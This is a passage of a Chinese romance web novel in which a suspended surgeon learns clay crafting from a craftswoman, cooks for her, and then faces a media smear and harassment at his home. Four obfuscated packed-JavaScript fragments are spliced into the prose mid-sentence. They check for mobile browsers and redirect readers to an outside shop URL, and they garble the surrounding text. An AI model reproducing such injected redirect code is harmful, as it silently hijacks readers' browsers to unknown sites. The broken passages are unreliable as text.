孟决明笑笑:“偶尔一次可以,但总不能我来一次就麻烦你拖一次地板吧。” 那倒也是,她授课期间,孟决明来家里的次数不会少。 可他这样也太麻烦了…… 孟决明换好鞋子,拎起药箱,“我先帮你把药换了吧。” 姜颂点头。 两人坐到沙发上,姜颂伸手过去,手上的纱布被孟决明小心地拆了下来,露出被包裹久了略微有些发白的手部皮肤。 孟决明一手托着她的手,另一只手从药箱里捡起镊子夹起消毒棉球,轻轻擦拭她的伤口。 一边擦一边时不时抬眼观察她的反应。 姜颂忽然浅浅地皱了皱眉,他立刻停住。 “疼?” “伤口不疼。”姜颂看向他握在她虎口位置的手,无奈地笑,“你捏得我有点疼。” 孟决明立刻松了力气:“抱歉。” “没关系。” 不知道为什么,姜颂觉得孟决明好像有一点紧张,以至于后续他处理得飞快,她还在想他在紧张些什么的时候,药已经换完了。 “还是尽量不要沾水,再换一次药应该就好了。” 姜颂嗯了声,看向他带的材料箱。 装满了一个中等型号的整理箱。 姜颂好奇道:“你都带了什么?” 孟决明拿过箱子打开来,“石塑粘土的材料和工具。” 姜颂都不用看,盲猜他指定是直接买了一整套。 “初学者用不着这么多工具。”姜颂从里面捡出几件基础工具,“这几个就够了。” 孟决明认真记下。 “你有什么想做的东西吗?”姜颂问。 孟决明想了想,回答道:“我看了你做兔子的那个视频,做这个可以吗?” 姜颂想了下,大概知道他说的是哪一个,“那个对现阶段的你可能有点困难,先做个简单的练一下基本功吧。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17008025|194113||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 那个可以等你熟练一点了再做。” “走吧,去我的工作室。你做,我指导。” 姜颂有一间专门用来赶单的屋子。 说是工作室,其实早就变成了材料仓库,因为她更喜欢在客厅里拉着窗帘干活。 孟决明一进去,就被房间里满墙严丝合缝的收纳柜里面琳琅满目的材料吸引了。 各种各样的线和布料,按照颜色、质感分门别类地被收纳在格子里。 他生平第一次了解到原来这两样东西居然有这么多不同的颜色和质感,看得他眼花缭乱。 地上放着两个纸箱,里面是未拆封的黏土。角落里有几个头模,每一个上面都顶着一头颜色跳脱的假发。还有一些他不认识的材料,不知道是用来干什么的。 他对姜颂“手作娘”这个身份的认知又深了一些。 原来在他不知道的地方,除了像他这种世俗眼里的“好工作”之外,还有人在做着这样小众却有意思的事,并且做得如此专业。 他真正理解了古人说的“术业有专攻”。 姜颂带他来到工作台前,她的工作台是一张超级大的桌子,平时被她的各种材料挤得没有空地。 刚刚知道孟决明要来,她已经提前收拾过了。 她还特意搬来两把椅子,“坐吧。” 两人一同落座。 姜颂把自己账号上推荐新手做的成品指给他看:“你选一个,我带着你做。” “那就……这个吧。”他指着一个姜饼人说。 “OK。” 姜颂切了两块黏土,把其中一块递给他,教了他一些最基础的玩土技巧。 孟决明很认真地听着,姜颂说一个点,他就做一遍给姜颂看。 “做得非常棒!”姜颂一向赞同鼓励教育,从不吝啬夸奖,“我觉得你很有天赋!” 对于得到夸奖,孟决明很意外。他努力压着唇角,说道:“昨晚我有仔细看你发过的教程,提前学习过。” “哦!怪不得做得这么好,比我新手期的时候强多了。”姜颂笑眯眯的,“那我们现在开始进入正题吧。” 大概是姜颂的视频录得太过流畅了,导致孟决明在看的时候觉得自己应该很快就能学会。 作为一个有实战经验的主刀医师,手稳且灵活对他来说是基本功,他对自己还是很有信心的。 姜颂给他示范完,他就照猫画虎,一点一点跟着做。 刚开始好好的,也不知道从哪一步开始出了差错,俩人鼓捣了半天,鼓捣出一个口歪眼斜的姜饼人。 那姜饼人的五官被孟决明画得仿佛心智不全。 姜颂:“其实也……挺可爱的,再练练就好了。” 孟决明捏着那块哪哪都是缺陷的姜饼人研究了一会儿,虽然丑得惊天动地,但毕竟是第一个作品,终于还是没舍得丢。 “再做一个。”他说,“这次一定比上次更好。” 两人揉了一下午粘土,孟决明一共做出了四个姜饼人,每一个都丑得各有特色。 他把四个姜饼人放在桌面上列成一排,对比了一下,第一次对自己的学习能力产生了严重的怀疑。 他看着姜颂,有些无奈:“小姜老师,我是不是有点笨?” “不会啊,有进步的!”姜颂肯定地说,“你看,最后一个要比第一个上色上的更均匀了,然后白模的形状也好了很多,不是我说,你这个程度再练练都可以接单赚钱了!” 孟决明怎么也看不出来有什么区别,但是被姜颂这么一夸,他又忍不住开心。 “那你第一次做这个,也是这样吗?” “……” 8. 第 8 章 姜颂不忍心说实话。 她猜想,孟医生在学生时代大概一直都是高材生,学习能力毋庸置疑,却没想到在手工界遭遇了人生的第一次滑铁卢。 “……差不多!”她干笑了两声,悄悄转移话题,“今天咱们就先到这吧,贪多嚼不烂,没准明天一觉醒来你的技巧就突飞猛进了!” 孟决明认真问:“会吗?” 姜颂坚定回:“会的!” 孟决明注视着那四块丑得惨绝人寰的姜饼人,又看看姜颂满脸的“全肯定”,一时半信半疑。 “那个……我要去喂猫了,你要一起还是留在这再练习一下?”姜颂趁机说。 孟决明的注意力终于从那四块姜饼人上离开。 “喂猫?你养了猫吗?” “楼下流浪猫。” 孟决明起身:“我们一起去吧。” 两人一起来到楼下。 姜颂把猫粮倒在碗里,立刻有一群流浪猫凑上来。 她摸了摸其中一只的脑袋,对孟决明说:“说起来,上次兰花走丢,我也就是在这里见到它的。” “然后你把它抱回家了?”孟决明问。 “不是,我喂过它两次,有一次它跟别的猫打架,被我救了,然后它就自己跟到了我家门前。” 孟决明听到这话忽而低低笑了一声。 姜颂:“你笑什么?” 他笑着摇头。 “兰花这种脾气古怪的小猫都喜欢你,很神奇。”孟决明唇边还挂着一抹笑意,“我觉得你应该也挺喜欢小猫的。” “算是吧。” 孟决明:“你想养吗,我有朋友是开宠物店的,我可以带你去挑一只,他不会收你钱的。” 姜颂摸猫的手停顿了一下,摇了摇头,“还是不了吧。” 她掖在耳后的长发散开垂落,又被她抬手重新掖起来。 她注视着那群猫,又好像在透过它们看什么。 沉默片刻后。 “我以前养过一只狗。”她突然开口,“就是农村里随处可见的那种小土狗。” “然后呢?” “死了。” “有责任心的人才配养活物。”姜颂的语气很轻,“我养不好,就不祸害它们了。” 孟决明从她的话里听出了一点自责的意味。 “没关系。”他说,“兰花很喜欢你,下次你可以去我家看它,或者我下次把它带过来跟你玩。” 姜颂露出一个笑容:“好啊。” 姜颂蹲在那撸了很久的猫,可因为刚才的对话,她的脑海里全是她从前在老家养的那只傻傻的小土狗。 许久过后,她起身,遥看天边,太阳正缓缓下落。 “饿了吗,一起去吃饭?我请客。”孟决明对她道。 姜颂摆手:“那怎么行,你上次已经请过一次了,这次应该我来请客。” 孟决明笑道:“可是上次是为了感谢你帮我。真要说起来,我还觉得上次一顿饭不足以还完你的人情,何况现在还要麻烦你教我这么笨的学生。” “说不过你。”姜颂失笑,“但是真的不可以,去的话只能我来买单。” “不然我不会去的哦。”姜颂眉毛一挑。 孟决明思忖道:“那……折中一下?” “怎么折中?” 孟决明:“我们可以在你家里吃。你来买菜,我来做,怎么样?” 姜颂一向懒得出门,这几天消耗的都是家里储备的食物。 现在冰箱里没剩下多少东西,她原本就打算晚上出去买点食物囤着的。 “好主意。”她租的这套房子周边配套设施不错,隔条马路就是商超,“那我现在就去买菜吧!” “我和你一起吧。” * 姜颂平时很少开火,因为她压根不会做饭。 其实她辞职前在老家跟父母住,为了帮母亲分担家务,那时也不是没有学过做饭。 如果说一道成功的菜品标准是色香味俱全,那她做出来的东西就是纯属开盲盒——极大概率开出这三样一样也不占的黑暗料理,极小概率能开出凑合吃的隐藏款。 没做几顿,爸妈点评完发现下次还是那样,就一致不让她再做了。 至于买菜,她也根本看不出好坏,纯根据外表好不好看挑选。 而她发现,孟决明挑菜拿起来左看看右看看,可最后挑的也不是最好看的那一个。 姜颂不解,拿起一个又大又红的西红柿问他:“为什么不选这个?” 孟决明走过去,把自己挑的拿起来放到她选的那个旁边,叶子朝上。 他耐心解释:“西红柿要选叶子六片及以上的,汁水更多,味道也会更甜。你手里这个只有五片叶子,它皮会很厚,肉质偏硬。” 他又把西红柿翻过来给她看:“另外,像这种顶部凹陷的一般是自然成熟的,打药的几率会更小。” “居然还有这种说法!” “那这个呢,这个怎么挑?”她指着土豆问。 孟决明看了看,从一堆土豆里挑出一个:“选这种表面粗糙且发暗的。” “表面光滑漂亮的不好吃吗?” “不是。”孟决明解释说,“因为我们今天打算做的是番茄土豆炖牛肉,表面粗糙发暗的会更面一些,适合炖菜。表面光滑发白的比较脆,适合做土豆丝。” “哦!”姜颂点点头,“涨知识了。” 一路走,姜颂一路问,感觉自己发现了新大陆。 难不成,她做饭难吃是因为她不会挑蔬菜? 她决定等下次用孟医生教给她的方法挑,然后再实验一下自己的厨艺水平。 她心里这么想着,看见孟决明拿起一盒牛肉仔细查看。 见他挑选食材如此熟练,姜颂忍不住好奇道:“孟医生你经常自己做饭吗?” 孟决明:“也不经常,平时比较忙,一般就在医院食堂吃。” 姜颂哦了一声,想想也是,一年三百六十五天,哪天都有人生病,医生怎么可能闲得下来。 姜颂:“那你这么忙,还有时间学做菜啊?” “是以前留学的时候学的,国外的食物不太吃得惯。” “哇,你还留过学啊?” “嗯,我在美国读的博。” 姜颂赞叹:“好厉害,不过你看起来真的不太像读到博士还工作了好几年的年纪。” 孟决明闻言笑道:“我上学的时候跳过几级,年龄应该没有比你大很多岁。” 姜颂浑然 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17008026|194113||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 不觉孟决明的重点在年龄上,她点点头:“哦,怪不得,我就说你看起来没有那么老。” 孟决明忍俊不禁,夸张地捂着心脏位置作受伤状。 姜颂才意识到刚才的话有些不礼貌,连忙道:“抱歉,我不是那个意思!我是说你看起来很年轻!” 说完,觉得好像还是有歧义,她急得抓头发:“也不是,哎呀,我的意思就是……你本来就很年轻!” 孟决明看着她的模样笑出了声。 “逗你的,我明白你的意思。”他说,“你呢,认识这么久了,我对你的了解好像还是有点少。” “你想了解哪方面呢?” 孟决明把选好的牛肉放进车里,从她手里接过购物车推着,缓慢前行。 “比如,你是怎么想到做现在的工作的?” “这个说来话长。”姜颂想了想,简略了过程:“我大学读的是公费师范生,后来考研没考上,毕业就分配回老家的小镇上当语文老师了。两年前辞职来到这里,本来是想靠手工过渡一下,但后面账号起来了,我就干脆一直做下来了。” “那难怪,你真的很有耐心,也很擅长鼓励别人,发掘优点。”孟决明回想着与她相处的时候,每一刻都让他觉得很舒服。 他感慨道:“我觉得你一定是个很好的老师,做你的学生一定很幸福。” “可我觉得……”姜颂拉长了最后一个字的调子,却没说出个所以然。 最后她笑了笑:“哎,不提了。” 走出食材区,前面正好是卖生活用品的区域。 姜颂:“我刚好还有些生活用品要买,我们顺便去逛逛吧。” “好。” 孟决明看了她一眼,没有再继续刚才的话题。 接着,他不经意地开了另一个话题的头:“工作稳定后,跟父母住,容易被催婚吧?” 姜颂苦着一张脸道:“可不嘛。” “不是我自吹自擂,孟医生你生在桐市这样的都市可能不太了解小地方。那里的人们因为缺少工作机会,会对编制带有天然的滤镜。有编制的女孩子几乎只要一到那里,就会立刻被媒人盯上。如果是像我这样的本地女孩,那更是逃不掉,因为他们会默认你不舍得辞掉编制,自然要在那里生活一辈子,那就避不开结婚这个问题。” “结婚,对小地方的人来说,像是一种使命。”姜颂叹气,“有段时间,我每天下班回家,饭桌上都会自动刷新出一个男生,每天不重样。” 孟决明笑意微凝:“有看上的吗?” 她摇头:“上班都累死了,我每天下班都筋疲力尽丧着一张脸,哪有精力应付。” “后面我受不了了,就直接搬到学校宿舍住了。” 孟决明:“所以是因为这个辞职了?” “有这个原因。”她没否认。 路过牙膏货架,姜颂停下来挑选。 孟决明追问道:“那在桐市有遇见喜欢的男孩子吗?” 姜颂回头看他,惊奇他认识她这么多天了,居然对她宅家的能力一无所知:“我门都不出欸。” 然后又回过头去继续认真挑牙膏了。 孟决明望着她的背影,连他自己都没察觉到,自己的唇角在听到这个回答后一直上扬。 9. 第 9 章 姜颂补了一些家里缺货的东西。 穿过生活用品区的时候,正好路过放置拖鞋的货架。 姜颂忽地想起身边人今天带来的一次性拖鞋,步子越来越慢。 如果以后孟医生经常来的话,也算她家的客人了吧? 似乎买一双拖鞋会更方便一点,万一以后家里来客人也用得上。 她的目光扫过货架上那一排男士拖鞋。 但是,话又说回来,她在这压根没有第二个朋友,按照她的生活作息,不出意外的话,应该也不会再有新朋友,除非她还能遇见医闹这倒霉事,顺便再英雄救美一次。 那这双拖鞋不就等于孟医生在她家的专属了吗? 这样大概也许可能好像……是不是有点太暧昧了…… 她又收回目光。 可话又又说回来,不能每次人家来都让人家自带一次性拖鞋吧?那也太不像话了! 一双拖鞋而已,孟医生应该也不会像她一样脑洞大开,想这么有的没的吧。 姜颂就这么在货架前左右脑互搏了好久。 久到孟决明疑惑地看着她。 “有什么要买的吗?” 姜颂咬着嘴唇里面的软肉,犹豫再三。 挣扎许久,她还是觉得得问。 她极力装出一副松弛的语气,闲聊似的随口一问:“孟医生,你穿什么码数的鞋子?” 孟决明不明所以,但还是如实回答道:“43码。” “哦。” 姜颂走上前去,打眼一扫,目标明确地选中了一双黑色简约款男士拖鞋,一看码数正好,便放到车里,继续推车向前走。 动作一气呵成,毫不拖泥带水。 孟决明在原地愣了有几秒,见姜颂走远才跟上去。 姜颂眼观鼻,鼻观心,忍住不去用余光看他。她心底缓缓升腾起一种诡异的心虚感。 她自己也纳闷,她到底在心虚什么,买一双客用拖鞋而已啊! 孟决明:“还有要买的东西吗?” “啊……没有了。” “那去结账吧。” 孟决明跟着她一块来到收银台,从购物车里一件一件地将东西拿出来。 收银员迅速扫完码,手里举着扫码枪。 姜颂一边找出付款码,一边等着收银员报价。 “您一共消费……” “滴!” 孟决明抢先付了款。 姜颂还一脸懵地看着他拎起购物袋。 出了超市大门,姜颂问:“不是说好了我来买单吗?” 孟决明作出思考状:“嗯……我忘了。” 姜颂静静地盯着他。 “那我把钱转给你。” “下次吧,下次你来买。”孟决明说。 姜颂就知道他是故意的:“你真的不能一直这样了,我会不好意思的。” “嗯,”他煞有介事地点头,“下次我一定改。” 姜颂没办法了。 “孟医生,你现在说这种话在我这里真的没有一点可信度了。下次你再这样……” 她鼓鼓脸颊。 “我将会把付款码贴在脸上!” 孟决明哈哈大笑。 * 路上,姜颂想分担一下重量,被孟决明以待会儿还需要她开门的理由一口回绝。 姜颂只好作罢。 上了楼,姜颂开门后先进去,孟决明提着东西慢悠悠跟在她后面。 换鞋的时候,姜颂偷偷往后瞄了一下跟进来的孟决明。 她清清嗓子,不动声色地从他手里拿过装生活用品的袋子,翻出那双黑色拖鞋。 她眼睛不自在地看着别处:“穿这个吧,以后就不用每次来我家都带一次性的了。” 孟决明眉眼间满是笑意,接过来换上,“谢谢。” 姜颂想说,谢什么,不还是你自己付的钱吗? 屋里暖气很足,孟决明脱了外套,露出内搭的白色薄绒衫,隐隐显出他宽肩窄腰的身材轮廓。 他把食材拿到厨房简单归类,姜颂在一旁自告奋勇要帮忙打下手。 “我可以负责洗菜!” 孟决明停下动作,偏头看她,佯装严肃:“小姜老师,你想对一个医生说你要不听医嘱了吗?” 姜颂抬起那只包裹着纱布的手,“已经结痂了,没事的。” “那也不能大意,感染了很麻烦。” 孟决明思考片刻,对她说:“你的厨房我不熟悉,待会儿帮我递一下调料可以吗?” 姜颂同意了,在一旁围观孟决明游刃有余地处理各种食材。 她忽然注意到他身上纯白的羊绒衫,又看了看手边墙壁上挂着的可爱风围裙,迟疑地指了指:“你要不戴个围裙?” 孟决明顺着她指的方向看去,那里挂了一条卡其色围裙,前襟画着可爱表情,上方缝着一对小熊耳朵。 他笑了笑:“可以啊。” 姜颂走过去。 孟决明见她摘下围裙递来,突然想起自己的手刚摸过生肉,伸到一半的手停了下来。 见他的手不方便接,姜颂下意识就踮起脚,将围裙帮他套在了脖子上。 孟决明微微低头。 目光相接的那一刻,两人皆是一愣。 姜颂只停顿了一秒,随后马上顺其自然,绕到了他身后帮他系后面的系带。 坏了,以前在家帮妈妈系围裙习惯了! 还好她反应快! 姜颂脸颊发烫,指尖随着心跳的频率抖个不停,根本不听她使唤。 孟决明背对着她,比例优越的背影姜颂一眼也不敢多瞧。只是因为靠得太近,他身上那股淡淡的香味不断涌入她的鼻息。 是那天在医院,被他护在怀里时,她始终没想起来的香气。 现在她想起来了,是薄荷与雪松。 姜颂凝神静气,胡乱打了个死结:“好了。” 没等孟决明转过身,她飞快地说:“有点口渴,我出去倒杯水喝哈!” 然后飞速逃离现场。 孟决明屏着的呼吸缓慢地恢复正常,耳根的血色却迟迟没有消退。 姜颂一杯水喝了快半个小时。 回来的时候,灶台上的锅里已经溢出香味。 孟决明熟练地颠勺、翻炒、放调料,看起来没有异样。 她装作无事发生,过去帮忙,仿佛刚刚真是口渴去喝水了。 姜颂还是低估了孟决明的厨艺。 她以为应该就跟她妈妈做的差不多,家常菜的水平,结果面对着一桌子色香俱全的菜,她被震惊得说不出话。 当尝到味道的时候,她已经没工夫吹彩虹屁了,只顾一边埋头干饭,一边发出一些对食物全肯定的怪异声音。 “哇哇哇!油爆虾是我最喜欢的菜!”
35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17008027|194113||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > “这个土豆炖牛肉好好吃!” “这个鸭黄豆角也好香!” 她忽然觉得就算孟医生回不了医院,开个饭馆也能做到全国闻名。 “孟医生,你真是一个被救死扶伤耽误了的伟大的天才厨师!” 孟决明笑眯眯地看着她:“真的吗?我以前也总给我妈妈做,她从来没有夸过我,我还以为我做得很一般。” “怎么会呢,真的很香啊!可以开店大卖的水平,真的,完全!”姜颂怕他不相信,还特意补充道,“我可没有在客套,是真的很香很好吃。减肥暂停,我还可以再来一碗!” 孟决明眸中笑意愈深:“那以后我再学做其他菜的时候带过来给你尝尝。” 围裙事件引发的尴尬,在这一瞬间,在美食的巨大诱惑中,被姜颂完全忘怀。 她点头如小鸡啄米:“好呀好呀!” 一顿饭后,孟决明不顾阻拦,甚至把碗洗了。 临走前,他期待地看着她问:“我觉得还是线下教学的效果好一些,明天我还可以来找你做手工吗?” “当然可以啦。” “那明天见。” “明天见!” 孟决明心满意足地离开。 他觉得这是他停职以来心情最愉悦的一天。 * 夜幕沉沉,深秋的风越发萧瑟。 老小区设计之初存在许多不合理之处,比如楼间距过窄,一到大风天气,在屋里听着外面的风声总让人觉得像鬼哭狼嚎。 “啪!” 玻璃杯被狠狠砸在地上,瞬间粉身碎骨。 面容凶狠的男人眼中盛满暴戾。 “小光,怎么了这是?”身形佝偻的老太太从门口探出头来。 刘光一转头,露出眉上那条刀疤,显得脸色十分可怖:“咱们不能这么干等着了。” “医院肯定不愿意赔钱,自己查自己能查出来什么?孟家在本地有些关系,说不定会在其中动什么手脚。” 老太太面露难色:“咱们去医院闹过了,警察局也去了,一分钱也没拿到,还能怎么办?” “你别管了,我想办法。我弟不能就这么白白死了,他们必须赔钱!” 说罢,他眼珠一滚,脑海中忽然划过一个损人不利己的主意。 他眼中闪烁着诡异的光:“咱们找媒体爆料,把当年的事都抖落出去!他们就算有人脉,也不可能捂得住别人的嘴!” “这能行吗?当年那事要是抖出去,会不会我们也受影响啊?”老太太疑虑重重。 刘光却不以为然:“那么多年前了,男孩之间打个架不是很正常吗?他记仇也不能害了我弟一条命啊,谁能保证他没有公报私仇,故意给我弟弟手术动手脚?否则,你说他为什么要主动接自己仇人的手术,真会有人那么好心吗?说出去谁信啊?” “可是……” 刘光立马打断母亲:“别可是了,我马上联系媒体,咱们曝光他,这种事情说不清楚,医院顶不住压力就得给咱们赔钱,到时候咱们就发达了!” 他越说越兴奋,扭曲的表情让老太太看得心里直发毛。 可担心归担心,她自己心里也有一本账。 她已经失去小儿子了,大儿子的婚事还没着落。如果能拿到一笔钱,给大儿子娶了媳妇,她将来也能轻松不少。 于是,她没再反对,看着大儿子拨通了电话。 10. 第 10 章 这几天,孟决明拿出了写论文的精神,刻苦钻研姜颂的教程,又做出了几个小东西出来。 姜颂养伤,他停职,各自时间都很充裕,他便一天不落地往姜颂家跑。 姜颂也很开心。 一来是因为她无聊的时候可以有朋友陪,孟医生脾气特别好,可以包容她偶尔嘴比脑子快的胡话。 二来是孟医生几乎每天都会带着美食过来投喂她。 孟决明家里她这里不远,开车过来也就十来分钟,带来的美食总是冒着热气。姜颂觉得他也许是在家里刚做好饭就立马打包,然后就下楼开车来找她了。 对比她自己做的饭和早就吃腻的外卖,姜颂对孟决明带来的东西根本不挑食,每次都光盘。孟决明变着花样地做,她就变着花样地夸。 只是有个问题。 孟医生在看着她大快朵颐的时候,总是很期待她给出的评价。这种评价不只是语言上的,也包括行动上的。 有次她在他来之前吃了一块小蛋糕,实在吃不下,最后剩了一点菜,她能感觉到他的在意。即使她赞不绝口,他还是会有意无意地反复确认是不是做得不好。 姜颂想不明白,孟医生名校毕业,还有留学经历,在三甲医院里年纪轻轻就做了主任医师,在许多人眼里绝对算得上成功人士。 但他似乎对自己的认同感不太高。 刚开始她只以为他是谦逊,接触多了才发现,他是真的特别期待她的肯定。 姜颂回想各个阶段自己身边那些出类拔萃的人们,几乎每一个都有着不同程度的傲慢,那是一种长期被周围的“星星”们捧出来的优越感。 可孟医生身上却看不到半点优越感的影子,反而总是十分谦逊,谦逊到妄自菲薄。 她不明白,不过后来几天里再也没剩过任何一点东西,吃不下也硬吃。 孟决明察觉到她的心思,再给她带饭时悄悄减了一点份量。 日子过得很是悠闲平静。 两人做手工累了,就会到楼下一起溜达溜达喂喂流浪猫,有时候孟决明也会在姜颂的要求下教她一点做饭技巧。 只是在厨艺这方面,姜颂真的是一窍不通。她也终于认清了她做饭难吃跟她挑的菜好不好没有什么关系,纯属手艺问题,只好作罢。 夜晚。 姜颂洗漱完,穿着睡衣坐到桌前,打开工作台上的护眼灯。 她抬手活动了一下手指与手腕,感觉这几天手部的疼痛已经没什么明显感觉了。 算算时间,也半个月过去了,伤口已经愈合。 孟决明白天来给她换过药,征求了这个专业人士的意见后,姜颂决定慢慢增加工作量,开始复工。 姜颂看向灯下。 那里摆放着一个勉强能猜出是兔子的白模。 她取出丙烯颜料盘,为其上色。 事毕,她双手托脸,端详着面前憨态可掬的小兔子,想到下午的时候坐在这里一本正经捏兔子的孟决明,忍俊不禁。 从前几天开始,孟决明就一直在做兔子。 那天跟他视频,看到他手里那只四不像时,她直接笑出了画面。 等她笑够再回到画面里时,发现孟医生正低头盯着那四不像若有所思。 她忙敛了笑,坐直身子。 换做往常,她一定会绞尽脑汁地从那个四不像身上找到一点可取之处,然后再鼓励鼓励他。毕竟人家亲手做的,没有功劳也有苦劳。 她刚才那么笑,孟医生不会不高兴吧? 也是在那一刻,姜颂突然发现了一件事情—— 她后知后觉,自己好像对孟医生再没有了那种礼貌而疏离的客套。 反而有点不客气了。 姜颂绞着手指:“对不起啊,我刚才不该笑你的。” 孟决明抬起眼,认真道:“哦不是,我只是在想要不要重新塑一下形,感觉是底子的问题。” “你这泥都快干了,只能重新做。”姜颂说完几秒后,忽然想起第一次教他的时候他就说想做一只兔子。 “你是很喜欢兔子吗?”她特意问了这么一句。 孟决明给了肯定的回答。 姜颂那时就留了心,决定等自己的手能恢复工作了,要送孟医生一个关于兔子的礼物。 今天孟决明来找她,她带着他捏了一下午兔子,最后挑出还能凑合看的一只,就是她眼前这个。 孟决明说他上色总是深一块浅一块的,怕毁了这唯一一只看得过去的兔子白模,上色就拜托她帮忙了。 不过,她要送的礼物可不是这个。 姜颂收回思绪,小心地把颜料没干的兔子挪到一旁,从材料台上翻出一包黏土和乱七八糟的工具。 台灯调到护眼模式后,她用小刀切了一块土,分成几个部分,一顿揉揉捏捏。十几分钟过去,一只可爱的小兔子诞生。 她看着素体思索片刻,从密封袋里又取了一些土来,做了一个微型听诊器和一件白大褂,跟小兔素体组装在一起。 端详许久,总觉得还差了点什么。 她闭上眼睛想孟决明的气质,要她形容的话,她会觉得那是一种带着书卷气的斯文。这与他整个人的穿衣风格和长相都有关系。 但兔子的形象过于可爱,怎么看都与这两个词毫不沾边。 她灵机一动,用铜丝拧了一副金丝眼镜给小兔子戴上了。 小兔医生萌得姜颂灵感大发。 她也好久没研究新款了,也许可以以小兔医生的形象推出一个系列! 顺便……还可以把第一套成品送给孟医生当礼物! 今日工作毕,她把两只兔子放到通风处。 她想如果明天干了,可以把上完色的小兔子给孟医生带回家,他一定很开心。 只是第二天,她左等右等也没见到孟决明的人影。 * 孟决明刚从派出所打车回到小区,正往家走。 拿出手机一看,微信有姜颂的消息发来。 他拨通了微信语音过去。 姜颂半个小时前给孟决明打过一通电话,显示关机,只好给他发了微信询问,可惜依然没有回信。 她心不在焉地做单,心思全在手机上。 接到微信语音的那一刻,姜颂几乎是立刻点了接听。 她打开免提,问他:“还来吗?你的兔子可以带走了。” 电话那头沉默 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17008028|194113||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 了一会儿。 姜颂一时没听到声音,手上的动作也停了下来,看向手机屏幕。 “抱歉,我今天应该是去不了了。” 他的声音很沉:“手机一直在进电话,我把卡拔了,所以没接到你的电话,抱歉。” 姜颂愣了愣:“你那边出什么事了吗?怎么会一直有人给你打电话?” 孟决明看着远处的天空,闻言轻轻叹了口气。 “我跟家属是中学同学,之前有些矛盾。家属找了媒体说了一些以前事,我的联系方式……可能是被扒了。” 他没说的是,可能连住址也被一起扒了。 早上他一到车位,就看见自己的车周围不知什么时候被人堆满了花圈。他这一早上都在派出所报案做笔录。 这些人连他的车都找到了,假如他再去姜颂那,很可能一不小心就把她也卷进进这场风波里。 他不能把危险带给她。 姜颂没等他说完,切出通话页面,转到微博,果然看到了已爆的词条。 医患矛盾历来是社会热点问题,与每个人息息相关,自然牵动着每一个人的情绪。 这个世界上终究还是手无寸铁的普通人占了大多数,没有人能保证自己一辈子不会躺在手术台上。一旦遇上无良医生,基本是任人宰割的状态。 看客纷纷代入自己,因为感同身受,所以对立。 这写手显然很明白这一点,巧妙地利用了这种矛盾作为印子。 文章里只说了孟决明和家属以及死者在学生时代有过节,轻描淡写地略过了过节本身,却抓住这个前因,强行将患者术后病情恶化的后果嫁接上去,一下子将大家的注意力重点引到了孟决明公报私仇上。 姜颂估计着对方还买了水军下场带节奏,偶尔有个别严谨的看客提出对家属的质疑便会顷刻间遭到围攻,评论者受不住攻击只得悻悻删评。 一来二去,词条里几乎是一边倒地在骂孟决明丧尽天良。 别说当事人,连她这个无关人员看了那些评论都忍不住心惊肉跳。那些给他打电话的人,又会有多少恶毒的话等着他呢? 姜颂退出来,心里憋着一口气不上不下的:“那你怎么办?” 他倒像没事人似的反过来安慰她:“没事,我已经报警了。过几天热度下去就好了,不用担心。” 仿佛她才是被骂的那一个。 姜颂不知道说什么好。 语音就这么挂着。 孟决明进了电梯,很快上升到他所住的楼层。 电梯门开,他的目光落在自己门口。 眼前的情景彻底让他的心沉到了谷底。 入户门上被人贴满了挽联,上面用红色墨水写着“无良医生”和“丧尽天良”八个大字,鲜红刺目。 地上还有个盒子。 孟决明走近,听见里面传来“吱吱”的叫声。 他瞳孔微缩,一时间后背发寒,站在原地不知所措。 “喂,孟医生?还在吗?” “嗯。” 孟决明咽下情绪,用力揭下挽联,输入密码打开家门。 一进门,母亲正端坐在客厅沙发上,目光冷漠地朝他投来。 11. 第 11 章 孟俪虽已年过五十,但保养得极好,一身职业穿搭十分干练,看不出几许风霜。 她头发梳得整齐,规规矩矩地盘在脑后。身材苗条,气质优雅,犹能从中窥见年轻时的风采,是位十足的中年美人。 只是这位中年美人现下并不怎么愉悦。 孟决明目光微沉。 